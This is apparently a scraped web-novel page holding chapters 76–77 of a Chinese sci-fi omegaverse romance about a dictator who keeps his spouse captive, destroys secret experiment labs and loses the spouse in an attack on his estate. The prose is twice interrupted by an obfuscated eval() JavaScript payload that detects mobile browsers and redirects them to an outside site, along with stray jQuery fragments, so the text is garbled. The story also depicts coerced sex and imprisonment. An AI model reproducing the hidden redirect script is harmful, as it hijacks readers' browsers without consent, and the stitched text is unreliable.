35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13912846|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 恺撒先一步进入场地。 他打开驾驶舱门,将精神力使用过度的黑发青年抱出来。 随后,他朝后方伸出手,一名狼骑头领便走上前,往前递了一瓶营养剂。 银发执政官蹲在舱门旁,手里拢着年轻配偶的肩,一边给他擦拭冷汗,一边低声哄着,喂进去一点营养剂。 日暮西沉,这对伉俪情深的执政官夫夫也即将回程。 实验场全体人员不得不放下手中工作,再次来到港口送行。 恺撒在跟机械师主管谈些公务,难得跟他的黑发恋人分开半晌。 黑发青年站在三名狼骑中间等候,他离盖勒比较近,于是盖勒再次壮着胆子,将目光从军靴往上移。 这一回,他终于看清了传说中“执政官的Omega”的脸。 跟刻板印象里的Omega截然相反,那是一张刚刚脱去少年稚气、俊美到极具攻击性的脸。 墨黑的剑眉斜飞入鬓,侧颜从鼻梁到唇线、再到下颌角,轮廓宛如电影明星般完美。 黑发青年一直垂眸盯着靴子,浓睫在眼睑处投下两团淡淡的睫影。 尔后,似乎听见远处恺撒走来的动静,他略微掀动一下眸子,露出眼底一枚鲜艳的小红痣。 ……等等。 盖勒盯住那枚小红痣,越看越眼熟,大脑一瞬空白。 三年前的“血色戒严”过后,中央军校不得不停课一段时间,又在恺撒·卡厄西斯上台半年后重新开学。 持续的动乱和内战,使返回课堂的学员锐减至一半;但最令所有Beta学员痛心的,还是如流星般乍现的少年天才林诺。 校内有他专属的纪念碑和礼堂,截止至盖勒从中央军校毕业,学员们都还在源源不断往碑前送上鲜花。 盖勒紧盯着那张脸,呼吸越发急促,脊背也开始缓慢挺直,甚至没注意到对方的Alpha配偶正在走近。 或许是感应到过于炽热的目光,黑发青年侧过眸,恰好与他目光碰上。 他先是愣了一下,随后猛地蹙起眉,朝盖勒投来一种警告、乃至急切恳请的眼神。 “宝宝小猫,你在看谁呢?” 银发执政官低沉发问,皮革手套轻触着青年的下巴,让他将那双黑眸移回自己身上。 紧接着,盖勒投向青年的目光也被阻断—— 恺撒缓步停在他们之间,眼神似笑非笑地俯瞰下来。 机甲实验场的新人盖勒,在两天后就悄无声息地失踪了。 *** 距离奥林匹斯圣山五十公里,地下秘密实验室。 一座充满培养液的大型罐体,正伫立在实验室中央。 B组人员在控制台前忙碌着,为三年来唯一完美的精神力供体,做最后的数值检查。 “……但愿A组的研究也如我们一样顺利。” 一个科研人员低声说,他偷看了一眼实验室里的武装监视者,声音压得更低, “就算供体研究成功,没有精神力移植技术也白搭……不知如果A组研究失败,卡厄西斯会怎样对待我们。” “我比较好奇如果A组研究成功,这个‘东西’的下场会怎样。” 另一个科研人员用拇指越过肩头,比了比身后的培养罐。 “联邦从来没有可参考的精神力移植案例,估计会像克隆人摘除器官那样移植?不知道到时要摘它的哪个部位。” “脑子吧?据说精神力基因与大脑皮层某部分相关……” 他们被俘前都是调查局的科研组特工,经手过大量非法人体实验。不给实验品赋予任何人类情感和意义,已经是他们的职业习惯。 一名科研人员拿着心率报告,开始调整培养罐内的营养浓度。 浑浊的液体罐底部,冒出一连串细碎的气泡。 气泡沿着小腿肌肉翻涌而上,一路盘绕过躯干,最终消失在银白的发梢。 英俊的银发少年双目闭合,没有声息。 他像一尊苍白的大理石雕塑,静静漂浮在培养液中,对往后的命运一无所知。 77.第 77 章 “还是不愿意看我吗?宝宝小猫。” 恺撒说。他扳着林诺的腿根,声音有些许含混和黏浊。 少顷,又熟练地用舌尖去钻弄。 “我这样弄……也不愿意吗?” 林诺饱满的腿肉微微颤着。 但他固执地偏着眸,看向庄园上方永恒不变的晴朗天空。 于是恺撒轻轻叹气,最后喉结一滚,全部咽掉。 恺撒替他清理的时候,林诺依然朝一边偏着头,也懒得把松垮的睡袍拉上,好像已经完全不在乎这具身体。 银发男人只好去吻他的腹肌,从腹肌一路往上亲,亲到自己最喜欢的地方,最后才把睡袍的纽扣一粒粒系上。 在林诺漂亮的腹肌上,有一行“恺撒·卡厄西斯”的英文纹身。 因为用了特殊的异星颜料,只有在肌肉发热、滚满汗珠的时候才会显现。 这是恺撒在某次易感期失控后的手笔。除此之外还有一个,是在连林诺自己都不知道的隐秘位置。 虽然恺撒认为他的宝宝小猫一生都不会被别人占有,但假如某人也沉迷被林诺紧紧缠住腰的感觉——并且爽到头昏脑胀、需要直起身吸气时,他就会在那一瞬间,看见真正拥有者的名字。 “……精神力还会恢复的。因为小猫并不是原生Omega,对不对?” 恺撒一边给林诺系扣子,一边低声哄, “我最近也在研究如何修复受损的精神力,一旦研究成功,我会把修复技术也给你用。到时我们都能驾驶机甲了,可以去更远的地方过结婚纪念日。还记得那年我生日时,你为我准备的美丽星空吗?我们还会再去一次的……” 然而林诺并不说话,也不看他。 系完扣子,没等恺撒把话说完,他就自顾自下床,去机甲工坊看资料了。 恺撒留在原地,默默揉着眉骨。 好在林诺在易感期和非易感期的表现差异很大。至少在每个月的第一周,他能拥有宇宙中最可爱、最黏人、予取予求的小猫恋人。 那种难以想象的巨大幸福感,足够覆盖剩余三周的落寞。 他系着袖扣,考虑该如何哄林诺做这个月的孕囊检查。 但光脑响了一声,是狼骑从前线回来了。 联邦历2952年进入尾声时,恺撒决定清算逃逸太阳系的联合矿业,并取得初步胜利。 第三舰队在外太阳系搜寻到他们的军工厂据点,于是接连进行捣毁,使反叛势力之一的联邦远征军,再也无法获得军火输送。 恺撒计划来一波趁火打劫,调遣部分狼骑前往搜刮军工厂。 但收到狼骑的通讯请求后,他登上指挥舰,却见舱门滑开,杜兰德有些魂不守舍地走进来。 杜兰德低垂狼头,缓慢单膝跪下。 “怎么了?” 恺撒站起身,绕过办公桌,却先一步从光脑里,获得了狼骑从前线发回的情报。 ——一则涉及当年,冥炎被调查局预谋改造的情报。 “先告诉我结论。”恺撒倚在桌沿,语气很平静,“还是林成宇和他的妻子动的手吗?” “他们的确与调查局做了交易,也的确在那一晚出现在地球港口机甲库,甚至确实曾经亲自进入冥炎。” 杜兰德艰涩地说,“但是联合矿业的科波菲特董事在我们控制调查局前,曾暗中谋杀过几位特工。我们沿着这条线索追查下去时……” 不知怎的。明明这件事涉及他的双眼和精神力,他也曾发过毒誓,要让所有相关人员付出代价。 但三年后听到情报反转,恺撒却显得兴趣缺缺。 新的证据在光幕上滚动,因为联合矿业的据点被捣毁,更多口供、录音、密令……开始向他汹涌滚来。 “……当晚进入港口机甲库的,并不只有林成宇夫妻二人。在他们离开后,调查局科研组发现精神力熔毁程序无法成功启动,于是曾派遣第二组特工前往重新安装。联合矿业销毁了第二组特工进入的证据,让我们将矛头完全指向南境林家……” …… (“……‘弟弟,请你——不,求你好好照看他。他几乎是我和文华的一切……你知道吗?小宝其实更像他的妈妈。我真高兴在最后时刻,发现了这一点……’”) “……不是他们做的。”少年的头被他压在监控台上,神色却出乎意料平静,“我妈妈是顶尖机械师,我爸爸是她的学徒,所以植入精神力熔毁芯片这种事,只能是我妈妈主导。但她不会这样做。她说过一颗偏差值在1%的螺丝,都有可能导致一位机甲战士丧命。她说过人命不是游戏,她不会用机甲来开玩笑。” …… “有关林成宇的认罪遗书,的确由他本人撰写,且没有发现篡改痕迹。但在联合矿业封存的机密资料里,我们发现了林成宇和秘密调查局二次交易的证据。调查局显然以林诺的性命作为要挟,要求林成宇认下这桩罪行,并制造畏罪自杀的假象。” 杜兰德低声说, “当年林成宇的妻子,误以为拒绝完成任务,等同亲手放弃林诺的性命,于是在绝望和负罪感中选择自杀。林成宇也在万念俱灰之下,顺从调查局,留下那份顶罪的遗书,以换回林诺的一线生机……” “到此为止。”恺撒突然说。 他从杜兰德身边走过,目光扫向空无一人的走廊。 又回头问:“还有多少人知道这件事?” “包括我在内,15名着手调查此事的狼骑,以及正在潜逃的科波菲尔董事。” 杜兰德沙哑地说,“队长,我必须对此负重大责任。是我率队获取并不完整的证据,导致误导了所有人的判断。我必须为三年前被无辜殃及的人负责,丹特上校,还有南境林家,还有……还有那个孩子……” 他的盔甲发出一阵轻微细响,是盔甲里的维生装置,检测到主体剧烈的情绪波动,于是开始释放镇静气体,以免危及性命。 在慢慢平复情绪的间隙,杜兰德发现银发男人又回到桌前。 恺撒背对窗户,倚着桌沿,脸和义眼都浸在逆光的阴影里。 “休假一段时间吧,杜兰德。带上那15名弟兄一起。我听说西半球正值夏季,正是度假的好时候。” 他温和道,“剩下的事我来处理。” “……可是,队长,这是非常严重的错误!我必须对一切负起责任……您对那个孩子的惩罚,我应该——” “我们从相识开启,已经并肩作战13年。即便星陨战役改变了我们的命运,但你还是很像一个军人,杜兰德。” 恺撒微笑着打断他,“对军人来说,对就是对,错就是错。但对政治家来说,对错之间的界限并没有那么清晰,总会有很多转圜余地的。” 杜兰德跪在那,一只狼耳立着,一只狼耳耷拉,一看就知道完全没听懂。 “去吧,杜兰德,我给你们安排度假飞艇。丹特上校的遗孀和孩子们也在西半球,如果实在歉疚,换一套亲民点的维生外观,照顾他们一段时间。这样就足够了。” 打发走杜兰德,恺撒花了五六个小时的时间,重新审阅从联合矿业处得来的证据。 三年来,他基本把涉及星陨战役的仇敌清算完毕,不管直接参与还是间接参与,甚至不确定是否参与、但确定倒向旧政府一边的,都在这场血腥的大清洗丧命。 成王者不同于史诗英雄,并不需要总做普世价值中正确的事,大清洗的结果是地球辖区再无内乱,他对宙斯边界以内的统治固若金汤,那么大清洗就是“正确”的。 只是看着手里的新情报,恺撒抵着额角,面上没有展露太多表情。 比起三年前目眦欲裂、眼底淌血的那一刻,他现在内心毫无波澜,只有一种不合时宜的、令人尴尬的平静。 新情报随着光屏,在恺撒皮革手套的指尖上缓慢旋转。 过了一会儿,他动了动指尖,让这些证据如云烟一般,被彻底销毁。 办公室内的全息时钟响起。 该回家陪恋人吃晚饭了。 “我撤回了对南境林家的通缉令。” 晚饭时,恺撒一边切着牛排,一边轻声对林诺说, “我的人告诉我,林成彬还活着。上一次有人目击到他,他正在外太阳系的黑域购买药品。” 林诺低头切着牛排,依然没有搭理他。 但青年的指尖骤然开始发抖,导致很难把肉切成块。 于是恺撒很熟练地探身过来,把自己切好的那盘换给他,再把林诺的那盘拿回去继续切。 “当年我只射穿了他的肩膀,因为他毕竟是你最后的亲人,而你又一直在为他哭诉求饶。当然,我必须承认,这一点让当时的我也非常懊恼。所以之后屡次跟你吵架,我都一气之下说我把他杀了。” “骗子。” 林诺终于开口了。他的声音有点嘶哑,因为这是他在本月的易感期后,说出的第一句话。 “狼骑的头盔有作战记录仪。等你吃完,我让一名狼骑过来,播放给你看。” “骗子。” “或者是林成彬在黑域的交易记录、影像?” “骗子。” “小猫……” “骗子。” 恺撒抬眸看向林诺,见他已经是食不下咽的模样,不由有些后悔在用餐时谈这件事。 银发男人叹着气放下刀叉,走到林诺身后环住他。 林诺的第一反应,是要挣脱并给他一刀,但在已经完成标记的Alpha和Omega之间,永远有着对彼此身体接触的渴望。 他眼睁睁看着自己的胳膊抬起,环住Alpha的肩膀,并被Alpha抱到了沙发上。 “下个月就是我们的结婚三周年纪念日。” 恺撒用鼻尖摩挲着他的耳垂,喃喃地说, “小猫,我可以找到他,让你们团聚。三年来,我做错过许多事,但有时希望你也能体谅我的心情——没人能在知道自己恋人的父母,参与摧毁过自己精神力和双眼时,还依旧保持冷静。或许这是一个新的开始,我……” “……我的,父母,绝不会,那样做。” 林诺一字一句、斩钉截铁地告诉他。 他甚至忘了自己当下仅剩的报复手段,将一双怒意燃烧的黑眸,瞪向男人始终注视他的义眼。 结果恺撒的义眼微微一暗,唇角浮现一个小小的弧——他又被看得高兴了。 “证据?”他神色如常地说,一如从前每一次死循环, “我比任何人都希望这件事是假的,至少我不需要再在对你的爱和仇恨之间煎熬……可是没有证据证明他们无辜。有时我也会觉得,虽然惨烈,但我们的相遇就是命中注定。调查局偏偏选了他们,而我救下的偏偏是你。如果命运注定要我付出精神力和双眼,才能换回一生挚爱,那么如今想来,这其实是一桩很划算的交易。” “我从9岁起就决定不再屈服于所谓‘命运’。如果你想要表演深情,至少该学会别再把‘命中注定’挂在嘴边。” 林诺冷硬道,“有空谈谈人身监禁和强制改造这种反社会行为如何?” “好。小猫不喜欢,我就再也不提命中注定了。” 恺撒从善如流,并依然忽略后半句话。他亲吻着林诺的指尖,温存片刻,又低声说: “我们的家庭医官学术不精,我想换一个。既然我没有问题,你也没有问题,没道理我们三年都没有小小猫的。我这几年跟你在一起时……做梦都想要一个很好的家。但你知道我出身孤儿院,在这方面不太擅长,要全靠小猫来教我了。” 虽然谎言是他的常态,但自结婚以后,他越发在林诺身边感到安全舒适,也会像这样吐露许多肺腑之言。 所以当恺撒吻着林诺的锁骨,低声倾诉时,义眼甚至颇为难为情地躲闪了几下。 但林诺的脊背逐渐僵硬。 在这种状态下,银发男人梦想的一切,对他来说就是最可怕的噩梦。 若不是因为他们的家庭医官,是副官从前最好的朋友,他如今恐怕早已身陷深渊。 “我好像听丹特提到过你。” 家庭医官说。 她以Alpha信息素干扰为由,把恺撒隔绝在检查室外。 而当听说从前有个Omega患者,就因为伴侣的信息素干扰,没能及时确诊绝症,恺撒居然没提出任何异议,乖乖去检查室外候着了。 “这里有两瓶辅助剂。这瓶可以促进Omega孕囊成熟,而这瓶,是我为另一位不愿意怀孕的Omega患者预留的。” 她把两瓶药剂先后拿上桌面,神情始终冷漠,但拿药的速度很慢,保证能让林诺看清楚, “我现在要出去跟执政官大人汇报你的身体状态,你自己把药收起来即可。它们的药液看起来很像,所以千万、千万不要拿错。明白了吗?” “……但现在这种时局,我确实很难找到信任的医官替代她。” 恺撒仍在絮絮低语,手掌反复摩挲林诺的腰身,又捂在有他名字纹身的地方。 “如果我们有孩子,我真希望ta能更像你一点。如果既拥有我的血脉,又能有你的灵魂,意味着ta就是这个宇宙间,可以证明我们相爱过的结晶……我发誓会给ta仅次于你的一切。” 林诺紧紧绷着身体,半晌,才说出一句:“我觉得现在的家庭医官挺好的。” 话音刚落下,他立刻后悔—— 三年来的经验告诉他,恺撒又要犯病了。 “为什么这样说?” 果不其然,恺撒从他的胸口抬眸,温情的模样一扫而空,眉眼间慢慢浮出阴鸷, “你喜欢她,宝宝小猫?她倒是的确有一个Beta前夫……” 距离下次易感期还有5天,林诺得知了家庭医官换人的消息。 他紧紧攥着已经用光的空药瓶,目光穿过庄园下方的云层。 那是庄园的温室屏障,穿过它,就会抵达下方的反重力防护盾。 星舰撞上防护盾,都会瞬间被反重力肢解,更别提凡人之躯。 三年来,林诺第一次有了去触碰那个防护盾的念头。 但好在,这个念头只在脑中留存半秒,就转瞬即逝。 恺撒因地球方面的什么偶发事件,一时半会回不来,而他用力丢下空药瓶,转身走向地下工坊,准备再次对命运发起抗争。 *** 恺撒没有忘记恋人的易感期,也从未忘记身为Alpha的抚慰职责。 但在当下,他只能踏着A组实验室满地的碎片,将极度阴沉的目光,缓缓移至监管人脸上。 “……执政官大人,这是我的严重失职。他们花了整整三年时间,竟然只是在打通这条通向地表的出逃路线……请允许我将功补过,抢在他们对外散播实验机密前,将他们连同家属一并处决……” 恺撒的军靴踏在碎片上,发出咯吱咯吱的尖利声响,每一声都像在凌迟监管人的心脏。 他不得不把头压得更低,浑身发着抖地乞求: “……请……再给我一次机会,执政官大人……请……” “B组那边如何?”恺撒问。 “正常运作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947103|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 身后的狼骑回答,“已经成功研究出潜力超过10000的精神力供体,随时可供A组取用。” “咯吱、咯吱”的碎片踩踏声,在环绕实验室一周后,最终停在监管人面前。 “这也是没有办法的事。” 恺撒蹲下身来,低声安抚对方,甚至握了握对方的肩膀, “精神力移植实验绝不能在人前曝光。你也完全明白这点的,对不对?当初我就说过,只要A组实验失败,两组人员一并处决,你还记得这个命令吗,沃克?” 监管人就像抓到一线生机,猛地抬起头颅,飞快喃喃道: “……执政官大人,我还有用,我可以成为您的处刑者,请派我去处理B组……” 恺撒站起身,端详他一会儿,最后微笑说: “算了。比起人类,我还是更相信我的处决按钮。” 厚重的实验室舱门层层关闭,将绝望的哀嚎隔绝身后。 当恺撒登上私人飞艇时,两处地下实验室恰好同时起爆。 火光熊熊,染红圣山的上空。信徒们骇得跌翻着地,又推推搡搡着往高处拥挤,想要看清究竟是哪里失火。 两处实验室都在荒山深处,不多时,星网开始播报自然灾难预警,一队队灭火艇出动,开始朝山火喷洒水柱。 “送我回家。” 恺撒对飞艇驾驶员说。 而在他上来前,驾驶员早就熟练地预热好引擎,并将目标设定在空中庄园。 在这些不涉及核心事务的下属面前,执政官上司确实总跟配偶如胶似漆,婚后三年还是如此,这点倒是远超联邦90%的Alpha。 甚至当他需要跃迁回地球处理事务,也要把空中庄园一起拉来,总之不能跟配偶离得太远。 事实上,驾驶员还没升上天空,就已经听见接近目标的提示音,不由感慨十分节省飞艇能源。 那就是一刹那间的事。 继两座实验室爆炸的声响不久,从火光映红的圣山天空,骤然传来第三声震耳欲聋的暴鸣。 巨大的火团勾勒出空中庄园的轮廓,以及两艘直直撞击在庄园防护盾上、已经四分五裂的隐形无人飞艇。 搭载空中庄园的母舰缓缓倾斜,但因为反重力装置还在运行,于是堪堪挂在云端上。 紧接着,在恺撒被火光映得猩红的义眼里,第三艘更加坚固、挂着星盗旗帜的歼击舰,穿过防护盾的缺口,将船头直直扎进母舰甲板中。 对于一个经历诸多战役的指挥官而言,这场行动其实相当粗暴拙劣。 若换做从前,恺撒的第一个命令,会是立刻调集驻防德尔斐的舰队,先将整艘母舰围得水泄不通,原地布防,然后再慢慢扑灭母舰上的大火—— 袭击恰巧发生在杜兰德和一半狼骑休假的时候,事情当然不会那么凑巧。 而只要是星舰构造,都会装载足以对抗太空恶劣环境的高强度救生舱。 他和林诺都知道庄园救生舱的位置,他也知道林诺在军校受过逃生训练。 ……可是—— 许多灾难性的场景,突然大量涌进脑中。 他的宝宝小猫即将进入易感期,而易感期的林诺,是脆弱、娇柔、神志不清,需要被他的Alpha严密保护的。而在下个星期,他们还会迎来结婚三周年纪念日。 他给林诺准备了一个礼物,是金星机甲实验场最新研发的专用机甲。 就算只剩一点点稀薄的精神力,小猫也可以开着它,去看他们从前看过的那片星空。 ……不。不行。 “……我要德尔斐附近所有的救援部队、灭火艇!” 恺撒嘶声下令,“现在!” 正在扑灭山火的几艘灭火艇,迅速调转方向,冲向燃烧的母舰。 紧接着,就是更多的救援艇、医疗舰,母舰下方的信徒和民众还在飞奔逃窜,生怕母舰砸到他们头上,场面一度非常混乱。 恺撒的嫡系部队第三舰队,在半小时后才闻讯赶来。 母舰在此期间,还经历了不明原因的二次爆燃。 从机甲工坊爆发而出的火团,将楼顶的温室花园也炸了个粉碎。 等到火势渐小,恺撒才跟救援部队一起,进入已经化作焦黑的庄园。 生命探测器密密麻麻,被布置在母舰的每一层坍塌钢架上,但没有一枚响起。 恺撒用力推开那些滚烫发红的钢筋,带着救援部队,一路往母舰最底层急走。 走到地下三层的固定角落,救援部队的主管松了一口气—— 他看见了熟悉的救生舱构造,而且舱体完好无损。 然而下一秒,他吐出的那口气,又颤巍巍吊在喉头。 生命探测器依旧没有动静。 救援队全部呆立在侧,没人敢先上去拉开那扇门。 最后,所有人都看着银发执政官走过去,并把没来得及合拢的舱门缓慢拉开。 一阵可怕的浓烟,混合着人体焦臭喷发出来。 救生舱内部,是一具还在燃烧的焦黑尸体。 它佝偻着腰背,已经被烧得碳化,当恺撒躬身进入救生舱,军靴踏地带起的震动,甚至让焦尸化灰的无名指震断半截。 同时掉下来的,还有骨碌碌滚到恺撒靴边的婚戒。 部分救援队成员已经开始悄悄后撤,不愿意看见银发执政官的狼狈模样,以免未来遭到清算。 之前为恺撒驾驶飞艇的驾驶员却没法撤离,他慌乱地查看一番现场,尝试作出判断: “会不会是……跑进救生舱的时候,衣服不小心沾了化学药剂……” 恺撒把那枚婚戒拾起来,沉默端详片刻。 现场死一般寂静,无论了解执政官与否,都没人敢在这个时候吱声。 “……第三艘撞击庄园的歼击舰。是否让人搜查过?” 长时间的恍惚过后,恺撒就像突然回了神,冷不丁询问身边的狼骑, “上面应该还有不少星盗的尸体。恢复虹膜进出记录数据,那艘星盗船上,应该会有跟他体型相当的人。” “是,队长。” “……上世纪那群调查局特工的做派。封锁——不,应该来不及了。” 他喃喃自语。 早在他踏上这艘母舰前,第一批灭火艇就已经悄悄离开。 而他当时还正在奋力推开无数坍塌的钢筋,拼命往母舰底层赶。 恺撒低头看向自己的手。 皮革手套早已被高温熔穿,本就疤痕累累的手掌上,又多了数道烧红钢筋留下的灼伤。 血肉被烫得翻卷不堪,散发着跟面前尸体一样的焦肉味。 银发男人站起身,把受伤的手和婚戒一并揣进衣兜,头也不回地离开。 *** 距离圣山50公里,荒山深处。 附近的母舰袭击事件,调走了所有灭火艇,山火仍在熊熊燃烧。 山里的野生动物集体受惊,慌不择路,向山下逃亡。 很快,火焰暴鸣的声音,被一种浓浓的震响掩盖—— 爆炸导致滑坡,无数滚石被泥流裹挟,朝山脚汹涌而下,直到全部坠入山底的深潭中。 被泥流一同冲下来的山鹿,在浅滩区挣扎哀鸣,不久便断了气。 夜色渐浓,从遍布沼泽的泥潭里,伸出一只满是特殊玻璃碎片划痕的手。 银发少年拖着重伤的身体,努力挪动到浅滩边缘。 他迷茫地攀在山鹿的尸体上。 一双灰蓝眼眸仰起,望向仍在熊熊燃烧的天空。